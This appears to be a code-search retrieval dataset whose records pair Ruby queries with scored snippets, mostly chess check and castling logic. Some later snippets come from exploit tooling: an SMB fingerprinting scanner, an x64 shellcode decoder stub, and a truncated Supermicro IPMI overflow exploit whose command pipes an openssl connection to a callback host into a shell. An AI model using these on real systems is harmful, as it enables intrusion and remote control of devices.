!@chessboard.grid[r][c].nil? and @chessboard.grid[r][c].color != color then\n\t\t\t\t\tdesired = [king_row, king_col]\n\t\t\t\t\tcurrent = [r,c]\n\t\t\t\t\toppositeColor = (color == :white)? :black : :white\n\t\t\t\t\tif movePossible?(current, desired, oppositeColor)\n\t\t\t\t\t\tcheck = true\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\treturn check\n\tend", "title": "" }, { "docid": "7b563e43b7b307acfd7baf4a2028af0c", "score": "0.6707088", "text": "def king_in_check?( color )\n\t\t\tking = @kings[ color ]\n\t\t\tother_team = @pieces[ Piece::OTHER_COLOR[ color ] ]\n\t\t\tother_team.collect{ |piece| piece.capturing_moves }.flatten.find{ |move|\n\t\t\t\tmove.captured_piece == king\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "97337a63f97c0afab4b05e13a9425e10", "score": "0.67002666", "text": "def check_if_check?(piece, king_pos, opposite_color)\n unless piece.is_a?(NullPiece)\n if piece.color == opposite_color && piece.moves.include?(king_pos)\n return true\n end\n end\n false\n end", "title": "" }, { "docid": "fa46f8e88a8853dbc3cd70018651977e", "score": "0.6686431", "text": "def exposes_king?(player,chess_board,from, to)\n bool = false\n piece_from = chess_board.get(from.first, from.last)\n piece_to = chess_board.get(to.first,to.last)\n \n chess_board.move_value(from,to)#start simulation\n\n if piece_from.is_a? King\n \tplayer.king_location = to\n end\n #checks if any opponent piece is threatening current player's king. \n player.opponent.chess_pieces.each do |key,piece|\n clear = piece.clear_path?(player.king_location)\n #puts \"Inside exposes_king: Piece location: #{piece.location.inspect} clear_path? #{player.king_location} = #{bool}\"\n if key!=to && clear\n #puts \"Exposes king! Illegal move\"\n bool = true\n break\n end\n end\n # the following undoes simulation\n chess_board.move_value(to,from)\n chess_board.enter_value(to.first,to.last,piece_to)\n\n if piece_from.is_a? King\n \t\tplayer.king_location = from\n end\n \n return bool\nend", "title": "" }, { "docid": "a5960aee68fb78e43b5bfec2e8b6b860", "score": "0.6682522", "text": "def black_pawn_check?(piece, column, row)\n if piece.is_a?(Pawn) && piece.color == \"black\"\n c = piece.column\n r = piece.row\n possible = []\n check_sides = [[c - 1, r - 1], [c - 1, r + 1]]\n check_sides.each do |check|\n if check.all? { |value| value >= 0 } && check.all? { |value| value <= 7 }\n possible << check\n end\n end\n possible.each do |item|\n if @board.check(item[0], item[1]) != \"___\" && \n @board.check(item[0], item[1]).color != piece.color &&\n @board.check(item[0], item[1]).is_a?(King)\n @in_check = @board.check(item[0], item[1])\n return true\n end\n end\n end\n return false\n end", "title": "" }, { "docid": "75279fc98b4a347b13462c4bd5571203", "score": "0.66766214", "text": "def check_move_for_check(board, piece, kingsLocation)\n\n kingsLocationXord = kingsLocation[0]\n kingsLocationYord = kingsLocation[1]\n\n if piece.rules(board, piece, kingsLocationXord, kingsLocationYord)\n return true\n else\n return false\n end\n end", "title": "" }, { "docid": "dea74b83bc82bf2b9b68c7dc5d68c140", "score": "0.6669327", "text": "def white_pawn_check?(piece, column, row)\n if piece.is_a?(Pawn) && piece.color == \"white\"\n c = piece.column\n r = piece.row\n possible = []\n check_sides = [[c + 1, r - 1], [c + 1, r + 1]]\n check_sides.each do |check|\n if check.all? { |value| value >= 0 } && check.all? { |value| value <= 7 }\n possible << check\n end\n end\n possible.each do |item|\n if @board.check(item[0], item[1]) != \"___\" && \n @board.check(item[0], item[1]).color != piece.color &&\n @board.check(item[0], item[1]).is_a?(King)\n @in_check = @board.check(item[0], item[1])\n return true\n end\n end\n end\n return false\n end", "title": "" }, { "docid": "b20b8a7bb3d45e328ddc379d774b76b5", "score": "0.6666964", "text": "def king_can_move?(from, to)\n @squares[to], @colors[to] = K, @mx\n @squares[from], @colors[from] = EMPTY, EMPTY\n @kings[@mx] = to\n c = in_check?\n @squares[from], @colors[from] = K, @mx\n @squares[to], @colors[to] = EMPTY, EMPTY\n @kings[@mx] = from\n\n !c\n end", "title": "" }, { "docid": "6a08d0ff1c67ca1d3af5a9193fb1a40d", "score": "0.6666124", "text": "def castling_route_in_check?(rook_loc, king_loc, king_colour)\n column = rook_loc[1] < king_loc[1] ? rook_loc[1] : king_loc[1]\n ending_column = column == rook_loc[1] ? king_loc[1] : rook_loc[1]\n column += 1\n until column == ending_column\n return true if piece_under_attack?([rook_loc[0],column], king_colour)\n column += 1\n end\n false\n end", "title": "" }, { "docid": "da6ac61e96f28cf7fd3a8e1e4d5bd45b", "score": "0.6664318", "text": "def castling_kingside?(x, y)\n x == 6 && y == y_position && castling_rook_kingside && castling_rook_kingside.castling_never_moved? && \\\n castling_rook_kingside.blocked?(4, y_position) == false\n end", "title": "" }, { "docid": "c88c3444358d53f734f14b7acb8fa933", "score": "0.6661927", "text": "def verify_if_check_occurs(piece, column, row)\n @opponent = nil\n @current_player.color == \"White\" ? @opponent = \"Black\" : @opponent = \"White\"\n if king_in_check?\n puts \"\"\n puts \"#{@current_player.color} has the #{@opponent} King in check!\"\n puts \"\"\n else\n @in_check = []\n end\n end", "title": "" }, { "docid": "1ba42e451803293fad9491f57c9b7874", "score": "0.6659378", "text": "def in_check?(color)\n king_pos = find_king(color).pos\n pieces.any? do |piece|\n piece.color != color && piece.moves.include?(king_pos)\n end\n end", "title": "" }, { "docid": "b96fe61ebc65a095daf3ca88965cfb0c", "score": "0.6649595", "text": "def castling_attempted?(king, movement)\n king.is_a?(King) && (movement == [0, 2] || movement == [0, -2])\n end", "title": "" }, { "docid": "35f1c8a528ac72749baaa896ba961de4", "score": "0.66317075", "text": "def check_castle\n @can_castle_kingside = false\n @can_castle_queenside = false\n\n if !@moved && !@attacked\n row = (@side == :white) ? \"1\" : \"8\"\n # Check kingside castle\n piece = @board.get(\"h#{row}\")\n if piece != nil && piece.class == Rook && piece.side == @side && !piece.moved &&\n @board.get(\"f#{row}\") == nil && @board.get(\"g#{row}\") == nil &&\n !@board.attacked?(\"f#{row}\", @side) && !@board.attacked?(\"g#{row}\", @side)\n @can_castle_kingside = true\n end\n\n # Check queenside castle\n piece = @board.get(\"a#{row}\")\n if piece != nil && piece.class == Rook && piece.side == @side && !piece.moved &&\n @board.get(\"b#{row}\") == nil && @board.get(\"c#{row}\") == nil && @board.get(\"d#{row}\") == nil &&\n !@board.attacked?(\"d#{row}\", @side) && !@board.attacked?(\"c#{row}\", @side)\n @can_castle_queenside = true\n end\n end\n end", "title": "" }, { "docid": "cf55d2c9847e1ac47543714e7e9273a1", "score": "0.6610509", "text": "def can_be_blocked?(king)\n # Indentify all spots that could obtruct path from threatening piece to checked_king\n obstruction_array = obstructed_spots(king.current_row_index, king.current_column_index)\n # Here opponents are the same color as king\n opponents = game.opposite_remaining_pieces_of(color)\n # Loop thru opponent array\n opponents.each do |opponent|\n # Skip value if it's king\n next if opponent.type == 'King'\n # Call valid move on each of the obstruction array values\n obstruction_array.each do |spot|\n return true if opponent.valid_move?(spot[0], spot[1])\n end\n end\n false\n end", "title": "" }, { "docid": "b4643ac6f57a7863c28e539a45ca9fa0", "score": "0.6604069", "text": "def checkmate?(color)\r\n\t\t\t# King info: \r\n\t\t\tking_object = (grid.flatten.select { |cell| cell.piece == \"K\" && cell.color == color }).first\r\n\t\t\tx_king = grid.index { |e| e.include?(king_object) }\r\n\t\t\ty_king = grid[x_king].index { |e| e == king_object }\r\n\t\t\tking_coordinate = [x_king, y_king]\r\n\t\t\t# Conditions:\r\n\t\t\t# King's possible moves will also be in check\r\n\t\t\treturn false if possible_moves_check?(king_coordinate, color) == false\r\n\t\t\t# No one can block or kill enemy checker\r\n\t\t\treturn false if block?(color) == true\r\n\t\t\ttrue\r\n\t\tend", "title": "" } ]
2e81c091b97377f0f362ccb491b62c96
overwrite because we must use here always the LEM_STUB_NM_EXT
[ { "docid": "73ada5d21adf30e03a631c39d2865961", "score": "0.53442127", "text": "def dynamic_names\n [recipe.export_name.upcase << LEM_STUB_NM_EXT.upcase + '_BUILD_DLL']\n end", "title": "" } ]
[ { "docid": "218f4454183145fc6258f3eea460ac7d", "score": "0.54103005", "text": "def stub_forge\n stub_forge_on(default)\n end", "title": "" }, { "docid": "2c7659975c6256127b5eaaede8566837", "score": "0.5373462", "text": "def militia_name; igb_variable_get(:militia_name, \"The IGB does not yet supply :militia_name headers, so this will always be nil\"); end", "title": "" }, { "docid": "61b80ea87cff21290d996c5e1cfc7520", "score": "0.52854055", "text": "def set_stub_flags\n # suppress the disabling of stub generation\n idl_flags.delete '-Scc -Scp'\n idl_flags.add '-Gxhst'\n end", "title": "" }, { "docid": "a9b4b561b04ad3aa44d429bfab1373ef", "score": "0.5196187", "text": "def stubbee; end", "title": "" }, { "docid": "e918197b304f5c3d43b4e0fb436c979a", "score": "0.5187585", "text": "def copy_lvm\n raise 'Not implemented'\n end", "title": "" }, { "docid": "0045ba74505e5cbb77cf0b3fed2a6a8f", "score": "0.51859117", "text": "def stub_forge_on(machine)\n @forge_ip ||= Resolv.getaddress(forge)\n stub_hosts_on(machine, 'forge.puppetlabs.com' => @forge_ip)\n end", "title": "" }, { "docid": "ac20edbd2b9fc2a31b1d5e1f8c96a239", "score": "0.51753116", "text": "def stub_forge_on(machine)\n @forge_ip ||= Resolv.getaddress(forge)\n stub_hosts_on(machine, 'forge.puppetlabs.com' => @forge_ip)\n end", "title": "" }, { "docid": "6153b89dfd052a4eabe636ea1c0a31a6", "score": "0.5160237", "text": "def stubba_methods; end", "title": "" }, { "docid": "cf5a85b85c9a4228c664135e02e8cd86", "score": "0.51367867", "text": "def genarete_broken_stub_for(root_url, req_uri, extension)\n stub_request(:get, \"#{root_url}#{req_uri}?version=#{extension}\").to_return(\n status: 200,\n body: '{\"referrrrrrence\": \"314124900925jfw3413\", \"content\": \"{}\" }',\n headers: { 'Content-Type' => 'application/json' }\n )\nend", "title": "" }, { "docid": "efde165fef4b37330d99d7d6a996c8ba", "score": "0.5134971", "text": "def stub_forge_on(machine)\n @forge_ip ||= Resolv.getaddress(forge)\n stub_hosts_on(machine, 'forge.puppetlabs.com' => @forge_ip)\n stub_hosts_on(machine, 'forgeapi.puppetlabs.com' => @forge_ip)\n end", "title": "" }, { "docid": "69b776cfae242aaf36776f40c687bafc", "score": "0.51332486", "text": "def extname\n INTERNAL_LITERATE_EXTENSION_NAME\n end", "title": "" }, { "docid": "f30b3c2804798eb21fb8604c029f7ea0", "score": "0.51283437", "text": "def initialize(pexist = \"\")\n if pexist != \"\" then #already set packet, let's disect it!\n if pexist[4..7] != \"\\xff\\x53\\x4d\\x42\" then\n raise \"Not SMB1 Packet\"\n end\n @msgtype = \"\\x00\\x00\"\n @smbcmd = pexist[8..8]\n @smbstatus = pexist[9..12]\n @smbflags = pexist[13..13]\n #@smbflags2 = \"\\x01\\xc8\"\n @smbflags2 = \"\\x01\\xc8\"\n #@smbflags2 = pexist[14..15] #zfdebug\n @smbpidhigh = pexist[16..17]\n @smbsig = pexist[18..25]\n @smbresv = pexist[26..27]\n @smbtreeid = pexist[28..29]\n @smbpid = pexist[30..31]\n @smbuid = pexist[32..33]\n @smbplexid = pexist[34..35]\n @bdata = \"\\x00\"\n #if pexist[36..36] == \"\\x00\" then @hdata = \"\"\n #else\n \n #end\n wct = (pexist[36..36].unpack('C')[0]) * 2\n if wct == 0 then @hdata = \"\"\n else @hdata = pexist[37,(wct).to_i] end\n bcc = pexist[37+wct,2].unpack(\"v\")[0]\n if bcc == 0 then @bdata = \"\"\n else @bdata = pexist[(37+wct+2),bcc] end\n #@bdata = \"\\x41\\x41\\x41\\x41\\x41\"\n #puts \"wct = \" + wct.to_s\n #puts \"bcc = \" + bcc.to_s\n #@hdata = pexist[36..]\n #TODO: Add rest of packet disection and recreation\n return\n end\n @msgtype = \"\\x00\\x00\" # Session Message Type\n @smbcmd = \"\\x00\" # nego proto\n @smbstatus = \"\\x00\\x00\\x00\\x00\" #SUCCESS\n @smbflags = \"\\x00\" \n @smbflags2 = \"\\x01\\xc8\" #static set\n @smbpidhigh = \"\\x00\\x00\" #stays the same\n @smbsig = \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" #fuck sigs\n @smbresv = \"\\x00\\x00\" # smb reserved?\n @smbtreeid = \"\\x00\\x00\"\n @smbpid = \"\\xfe\\xde\"\n @smbuid = \"\\x00\\x00\"\n @smbplexid = \"\\x00\\x00\"\n #@smbwct = \"\\x00\" #wordcount - set by lengths auto\n #@smbbcc = \"\\x00\\x00\"# bytecout - set by lngths auto\n @hdata = \"\\x00\"\n @bdata = \"\\x00\"\n return\n end", "title": "" }, { "docid": "276c5248c82aa5ba216dc57eab95b351", "score": "0.5123161", "text": "def autogen_stub(node, node_index, stub_index, name, attr); end", "title": "" }, { "docid": "23128f268e01f2d8ab73fc20d8546139", "score": "0.51053107", "text": "def show_stubbing_instructions; end", "title": "" }, { "docid": "23128f268e01f2d8ab73fc20d8546139", "score": "0.5104485", "text": "def show_stubbing_instructions; end", "title": "" }, { "docid": "cd8ac8982186a40f61e4b73e00c896f3", "score": "0.5068841", "text": "def stubs=(_arg0); end", "title": "" }, { "docid": "597ebcaeb3efe62bfeca680d261f3aa3", "score": "0.5067241", "text": "def smb_version\n smb_ports = [445, 139]\n smb_ports.each do |pnum|\n @smb_port = pnum\n self.simple = nil\n\n begin\n res = smb_fingerprint()\n\n #\n # Create the note hash for smb.fingerprint\n #\n conf = {\n :native_os => res['native_os'],\n :native_lm => res['native_lm']\n }\n\n if res['os'] and res['os'] != 'Unknown'\n\n #\n # Create the note hash for fingerprint.match\n #\n match_conf = { }\n\n #\n # Create a descriptive string for service.info\n #\n desc = res['os'].dup\n\n if res['edition'].to_s.length > 0\n desc << \" #{res['edition']}\"\n conf[:os_edition] = res['edition']\n match_conf['os.edition'] = res['edition']\n end\n\n if res['sp'].to_s.length > 0\n desc << \" #{res['sp'].downcase.gsub('service pack ', 'SP')}\"\n conf[:os_sp] = res['sp']\n match_conf['os.version'] = res['sp']\n end\n\n if res['build'].to_s.length > 0\n desc << \" (build:#{res['build']})\"\n conf[:os_build] = res['build']\n match_conf['os.build'] = res['build']\n end\n\n if res['lang'].to_s.length > 0 and res['lang'] != 'Unknown'\n desc << \" (language:#{res['lang']})\"\n conf[:os_lang] = res['lang']\n match_conf['os.language'] = conf[:os_lang]\n end\n\n if simple.client.default_name\n desc << \" (name:#{simple.client.default_name})\"\n conf[:SMBName] = simple.client.default_name\n match_conf['host.name'] = conf[:SMBName]\n end\n\n if simple.client.default_domain\n if simple.client.default_domain.encoding.name == \"UTF-8\"\n desc << \" (domain:#{simple.client.default_domain})\"\n else\n # Workgroup names are in ANSI, but may contain invalid characters\n # Go through each char and convert/check\n temp_workgroup = simple.client.default_domain.dup\n desc << \" (workgroup:\"\n temp_workgroup.each_char do |i|\n begin\n desc << i.encode(\"UTF-8\")\n rescue Encoding::UndefinedConversionError => e\n desc << '?'\n print_error(\"Found incompatible (non-ANSI) character in Workgroup name. Replaced with '?'\")\n end\n end\n desc << \" )\"\n end\n conf[:SMBDomain] = simple.client.default_domain\n match_conf['host.domain'] = conf[:SMBDomain]\n end\n\n if simple.client.peer_require_signing\n desc << \" (signatures:required)\"\n else\n desc << \" (signatures:optional)\"\n end\n\n print_good(\"Host is running #{desc}\")\n\n # # Report the service with a friendly banner\n # report_service(\n # :host => ip,\n # :port => rport,\n # :proto => 'tcp',\n # :name => 'smb',\n # :info => desc\n # )\n\n # # Report a fingerprint.match hash for name, domain, and language\n # # Ignore OS fields, as those are handled via smb.fingerprint\n # report_note(\n # :host => ip,\n # :port => rport,\n # :proto => 'tcp',\n # :ntype => 'fingerprint.match',\n # :data => match_conf\n # )\n\n # unless simple.client.require_signing\n # report_vuln({\n # :host => ip,\n # :port => rport,\n # :proto => 'tcp',\n # :name => 'SMB Signing Is Not Required',\n # :refs => [\n # SiteReference.new('URL', 'https://support.microsoft.com/en-us/help/161372/how-to-enable-smb-signing-in-windows-nt'),\n # SiteReference.new('URL', 'https://support.microsoft.com/en-us/help/887429/overview-of-server-message-block-signing'),\n # ]\n # })\n # end\n else\n desc = \"#{res['native_os']} (#{res['native_lm']})\"\n # report_service(:host => ip, :port => rport, :name => 'smb', :info => desc)\n print_status(\"Host could not be identified: #{desc}\")\n end\n\n # # Report a smb.fingerprint hash of attributes for OS fingerprinting\n # report_note(\n # :host => ip,\n # :port => rport,\n # :proto => 'tcp',\n # :ntype => 'smb.fingerprint',\n # :data => conf\n # )\n\n disconnect\n\n break\n\n rescue ::Rex::Proto::SMB::Exceptions::NoReply => e\n next\n rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e\n next\n rescue ::Rex::Proto::SMB::Exceptions::LoginError => e\n # Vista has 139 open but doesnt like *SMBSERVER\n if(e.to_s =~ /server refused our NetBIOS/)\n next\n end\n\n # return\n rescue ::Timeout::Error\n rescue ::Rex::ConnectionError\n next\n\n rescue ::Exception => e\n print_error(\"#{rhost}: #{e.class} #{e}\")\n ensure\n disconnect\n end\n end\n end", "title": "" }, { "docid": "79678293371fbbb5b7a6b70fde2448b3", "score": "0.5045845", "text": "def stubba_methods=(_arg0); end", "title": "" }, { "docid": "6a02ffd7ccc73f929e1a395938c4afba", "score": "0.5020754", "text": "def stubba_object; end", "title": "" }, { "docid": "ecc273f9b26fce1f42997f8ca6c2a340", "score": "0.50058246", "text": "def request_stubs=(_arg0); end", "title": "" }, { "docid": "ecc273f9b26fce1f42997f8ca6c2a340", "score": "0.50058246", "text": "def request_stubs=(_arg0); end", "title": "" }, { "docid": "6513ed80c07083afaa67e08a17d5b972", "score": "0.50006217", "text": "def stubbed?; end", "title": "" }, { "docid": "1f98a62602a791142f8aae65c1fc3336", "score": "0.4997944", "text": "def check_name\n if @name.end_with?(Gem::MAGLEV_POSTFIX)\n cache_file # memoize cache file\n instance_variable_set(\"@original_platform\", \"maglev\")\n instance_variable_set(\"@platform\", \"maglev\")\n instance_variable_set(\"@name\", @name[0...-Gem::MAGLEV_POSTFIX.size])\n end\n end", "title": "" }, { "docid": "32f20fb668f6644e8f8f7a8447b5ff96", "score": "0.4973888", "text": "def show_stubbing_instructions=(_arg0); end", "title": "" }, { "docid": "32f20fb668f6644e8f8f7a8447b5ff96", "score": "0.4973888", "text": "def show_stubbing_instructions=(_arg0); end", "title": "" }, { "docid": "162ee7d02236b6c8489076d9a599a252", "score": "0.49536857", "text": "def stub\n return @stub if @stub\n @stub = MARC::Record.new\n @stub << MARC::DataField.new('907', ' ', ' ', ['a', \".#{bnum}\"])\n load_note =\n 'Batch load history: 999 Something records loaded 20190000, xxx.'\n @stub << MARC::DataField.new('944', ' ', ' ', ['a', load_note])\n @stub\n end", "title": "" }, { "docid": "435486e1dc88ce1b26184258c8ea28c8", "score": "0.49492356", "text": "def initialize\n super SteamPacket::A2A_PING_HEADER\n end", "title": "" }, { "docid": "382970490f576576634287aa591dea34", "score": "0.4946689", "text": "def decoder_stub(state)\n return decoder_hash['Stub'] || ''\n end", "title": "" }, { "docid": "d2ad48d241ff9eaf814404262de063d4", "score": "0.4929302", "text": "def getLoanLossProvisioningObjName\r\n\t\t return \"loan_loss_provisioning_setup__c\"\r\n\t\tend", "title": "" }, { "docid": "bc770dcd2242769879c532321b198710", "score": "0.49252594", "text": "def stub2hash\r\n # TODO: Maybe add some additional marker in the files like\r\n # \"[hex string]:git-media\"\r\n # to really be able to say that a file is a stub\r\n return self[0..-2] if self && self[-1]==\"\\n\" && self[0..-2].match(GM_HASH_REGEX)\r\n end", "title": "" }, { "docid": "fa7339fd066718b546f1fada042ed686", "score": "0.49157098", "text": "def generate_i386_stubs()\n end", "title": "" }, { "docid": "3eddf61d14db861333e717d132242e67", "score": "0.49074072", "text": "def request_stub; end", "title": "" }, { "docid": "3eddf61d14db861333e717d132242e67", "score": "0.49074072", "text": "def request_stub; end", "title": "" }, { "docid": "3eddf61d14db861333e717d132242e67", "score": "0.49074072", "text": "def request_stub; end", "title": "" }, { "docid": "3eddf61d14db861333e717d132242e67", "score": "0.4907239", "text": "def request_stub; end", "title": "" }, { "docid": "32aec97d5243a2acb08c476c22f3768f", "score": "0.48945233", "text": "def hunter_stub\n end", "title": "" }, { "docid": "ad79b492137ffcb2f03619c0b359a0d0", "score": "0.4884225", "text": "def stub_module(full_name)\n stub_constant(full_name)\nend", "title": "" }, { "docid": "8e65203ba938a70ed6d5f08a8728fb01", "score": "0.48634914", "text": "def add_simple_stub(method_name, response); end", "title": "" }, { "docid": "98536c3f444bf6c394884ab8f2250308", "score": "0.48570675", "text": "def ld_mhl_n\n @mmu[hl] = next_byte\n @r_m = 3\n end", "title": "" }, { "docid": "a2f6da6aea75b4622167b6f2af63180b", "score": "0.48452416", "text": "def stubs; end", "title": "" }, { "docid": "63124d25e1de2e34ef4d1686cc022213", "score": "0.48329765", "text": "def smb_defaults(packet)\n packet.v['MultiplexID'] = self.multiplex_id.to_i\n packet.v['TreeID'] = self.last_tree_id.to_i\n packet.v['UserID'] = self.auth_user_id.to_i\n packet.v['ProcessID'] = self.process_id.to_i\n end", "title": "" }, { "docid": "d28af2749fa9d65b6a7432ec3fc312a0", "score": "0.4828394", "text": "def proto_from_fullname\n File.split(self.fullname).last.match(/^(.*)_(login|auth|identify)/)[1].upcase rescue nil\n end", "title": "" }, { "docid": "adb0af49ae02e4b6cd7ac1268a406951", "score": "0.4827657", "text": "def hunter_stub(payload, badchars = '', opts = {})\n end", "title": "" }, { "docid": "0bf10cfa15ab13faec47e4581a3bfc02", "score": "0.48263806", "text": "def extify(name); end", "title": "" }, { "docid": "caa05e0cdcceac8dcbe905f23dd76536", "score": "0.48207298", "text": "def extension_blacklist; end", "title": "" }, { "docid": "3e813e499df3d259704d7b5ead4fa758", "score": "0.48059687", "text": "def stub_module(full_name)\n full_name.to_s.split(/::/).inject(Object) do |context, name|\n # context will be assgined Object only on first pass. On subsequent pass\n # context will be nil.\n begin\n # Attempt to reference the given module. If the module is defined,\n # or if calling #const_get causes it to be auto-loaded, the method does\n # nothing more.\n context.const_get(name)\n rescue NameError\n # #const_get failes to turn up the module so define an anonymouis empty\n # module to act as a placeholder\n context.const_set(name, Module.new)\n end\n end\nend", "title": "" }, { "docid": "2308bcacbcf8cb12879d3b285c389fdf", "score": "0.4805259", "text": "def initialize\n @wl_line_change_name = 0\n end", "title": "" }, { "docid": "0bc9a0a2ca8b1121243c8b1b16924175", "score": "0.48001328", "text": "def process_stub_directive(path); end", "title": "" }, { "docid": "0bc9a0a2ca8b1121243c8b1b16924175", "score": "0.48001328", "text": "def process_stub_directive(path); end", "title": "" }, { "docid": "e2938d20f5834320dd7d5ad44e0f9ac4", "score": "0.47999343", "text": "def linked_from_service() ; ext_info[:linked_from_service] ; end", "title": "" }, { "docid": "ce0aa7e21eb1d20594a58adca17cf7dc", "score": "0.47862604", "text": "def stub_module(full_name)\n full_name.to_s.split(/::/).inject(Object) do |context, name|\n begin\n context.const_get(name)\n rescue NameError\n context.const_set(name, Module.new)\n end\n end\nend", "title": "" }, { "docid": "8617a31e12a21c882d17395cd5a67ba6", "score": "0.47855937", "text": "def initialize(n, ln)\n\t\t@lname = if(ln[0..2] == \"lib\")\n\t\t\t\"-l\" + ln[3..-1]\n\t\telse\n\t\t\tln\n\t\tend\n\t\t@name = n\n\tend", "title": "" }, { "docid": "8617a31e12a21c882d17395cd5a67ba6", "score": "0.47855937", "text": "def initialize(n, ln)\n\t\t@lname = if(ln[0..2] == \"lib\")\n\t\t\t\"-l\" + ln[3..-1]\n\t\telse\n\t\t\tln\n\t\tend\n\t\t@name = n\n\tend", "title": "" }, { "docid": "d5e5bdb330b91ae24f6481c603773fa9", "score": "0.4774898", "text": "def set_block_name(l)\n name = l.split(\" \").last.strip\n @block_name = name if name =~ BLOCK_NAME_REGEXP \n end", "title": "" }, { "docid": "c32f449dad6496e8fd04e441233742ff", "score": "0.47713232", "text": "def long ; @long || @truename ; end", "title": "" }, { "docid": "850677b38a02aadc613bb74db1d669fe", "score": "0.47664458", "text": "def on_externally_stubbed_request; end", "title": "" }, { "docid": "c9d8de165fefabeaf25e94977bd5370e", "score": "0.4755645", "text": "def extensions=(p0) end", "title": "" }, { "docid": "c9d8de165fefabeaf25e94977bd5370e", "score": "0.4755645", "text": "def extensions=(p0) end", "title": "" }, { "docid": "c9d8de165fefabeaf25e94977bd5370e", "score": "0.4755645", "text": "def extensions=(p0) end", "title": "" }, { "docid": "f98d6a9eea49481686b2aeab00386c37", "score": "0.47500962", "text": "def request_stubs; end", "title": "" }, { "docid": "f98d6a9eea49481686b2aeab00386c37", "score": "0.47500962", "text": "def request_stubs; end", "title": "" }, { "docid": "4040193a2a62f57b1d138931fe82d434", "score": "0.47479177", "text": "def fix_nm1_to_cover_for_stupid_edi_limitation edi_271\n string_io = StringIO.new(edi_271) \n file_content = string_io.readlines\n in_ls_loop = false\n file_content.each {|l|\n if l =~ /^LS*/\n in_ls_loop = true\n elsif l =~ /^LE*/\n in_ls_loop = false\n elsif l =~ /^NM1\\*/ && in_ls_loop\n l.gsub!(/^NM1\\*/, 'N1G*')\n end\n }\n file_content.join\n end", "title": "" }, { "docid": "45b9e5d1da1562a27f15ce5cb9b634ca", "score": "0.4744589", "text": "def ext; end", "title": "" }, { "docid": "a28d6cc134ee8631e77fd54fd7c893e0", "score": "0.47421744", "text": "def data\n unless @data\n @extensions = []\n\n open loaded_from, OPEN_MODE do |file|\n begin\n file.readline # discard encoding line\n stubline = file.readline.chomp\n if stubline.start_with?(PREFIX) then\n @data = StubLine.new stubline\n\n @extensions = $'.split \"\\0\" if\n /\\A#{PREFIX}/ =~ file.readline.chomp\n end\n rescue EOFError\n end\n end\n end\n\n @data ||= to_spec\n end", "title": "" }, { "docid": "c73c068f8d03f20ac3970c44802e097d", "score": "0.4736223", "text": "def supports_stub?\n true\n end", "title": "" }, { "docid": "c73c068f8d03f20ac3970c44802e097d", "score": "0.4736223", "text": "def supports_stub?\n true\n end", "title": "" }, { "docid": "aae1f039130b139caa7a5db713bcfb3d", "score": "0.47358912", "text": "def decoder_stub(state)\n stub = \"\"\n\n\n stub << \"\\x55\\x48\\x89\\xe5\\x48\\x83\\xec\\x30\" # contexte\n stub << \"\\x48\\x31\\xd2\" # xor rdx, rdx\n stub << \"\\xeb\\x22\" # jmp dll\n # LibraryReturn\n stub << \"\\x58\" # pop rax ; recuperation of the adresse of the dll name\n stub << \"\\x88\\x50\\x0d\" # mov [rax+0xd], dl ; to end string with 0\n stub << \"\\x48\\xff\\xc0\" #inc rax ; dll name start after 'A'\n stub << \"\\x48\\x89\\xc1\" # mov rcx, rax \n stub << \"\\xb8\\x01\\x65\\xfc\\x76\" # mov eax,0x76fc6501 ; adresse to load DLL + 1 to avoid 0\n stub << \"\\x48\\xff\\xc8\" # dec eax\n stub << \"\\xff\\xd0\" # call eax ; load DLL\n stub << \"\\x48\\x39\\xd0\" # cmp rax, rdx ; test loading\n stub << \"\\x75\\x05\" # jne Decoder\n stub << \"\\x48\\x31\\xc0\"\n stub << \"\\xeb\\x02\"\n stub << \"\\xeb\\x15\" \n stub << \"\\x5d\\xc3\" # pop rbp ; ret\n stub << \"\\xe8\\xd9\\xff\\xff\\xff\" # call LibraryReturn ; in order to have dll string adress\n stub << \"\\x41\\x6b\\x65\\x72\\x6e\\x65\\x6c\\x33\\x32\\x2e\\x64\\x6c\\x6c\\x4e\" # 'Akernell32.dllN'\n # Decoder\n stub << \"\\xeb\\x2a\" # jmp GetPayload\n # start of decoder\n stub << \"\\x58\" # pop rax ; get payload key address\n # Automatic decryption of payload with key\n stub << \"\\x48\\x8b\\x08\\x48\\x8b\\x50\\x08\\x48\\x83\\xc0\\x10\\x48\\x89\\x45\\xf8\\x48\\x89\\xc6\\x48\\x31\\xc0\"\n stub << \"\\x48\\x39\\xc2\"\n stub << \"\\x75\\x03\"\n stub << \"\\xff\\x65\\xf8\"\n stub << \"\\x30\\x0c\\x06\"\n stub << \"\\x48\\xc1\\xc9\\x08\"\n stub << \"\\x48\\xff\\xc0\"\n stub << \"\\xeb\\xec\"\n # GetPayload\n stub << \"\\xe8\\xd1\\xff\\xff\\xff\" # call startOfDecoder ; in order to have key+payload address\n \n stub << [@@key].pack(\"Q\") \n stub << [state.buf.length].pack(\"Q\")\n return stub\n end", "title": "" }, { "docid": "239e58a20e38aa824e9a020d4abfb264", "score": "0.47346193", "text": "def target_supermicro_ipmi_131\r\n\r\n\t\t# Create a fixed-size buffer for the payload\r\n\t\tbuffer = Rex::Text.rand_text_alpha(2000)\r\n\r\n\t\t# Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char()\r\n\t\tbuffer[0,1] = '\"'\r\n\t\tbuffer[1999,1] = '\"'\r\n\r\n\t\t# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise\r\n\t\tcbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])\r\n\r\n\t\t# Start a listener\r\n\t\tstart_listener(true)\r\n\r\n\t\t# Figure out the port we picked\r\n\t\tcbport = self.service.getsockname[2]\r\n\r\n\t\t# Restart the service and use openssl to stage the real payload\r\n\t\t# Staged because only ~150 bytes of contiguous data are available before mangling\r\n\t\tcmd = \"sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#\"\r\n\t\tbuffer[432, cmd.length] = cmd\r\n\r\n\t\t# Adjust $r3 to point from the bottom of the stack back into our buffer\r\n\t\tbuffer[304,4] = [0x4009daf8].pack(\"V\") #\r\n\t\t\t# 0x4009daf8:\tadd\tr3, r3, r4, lsl #2\r\n\t\t\t# 0x4009dafc:\tldr\tr0, [r3, #512]\t; 0x200\r\n\t\t\t# 0x4009db00:\tpop\t{r4, r10, 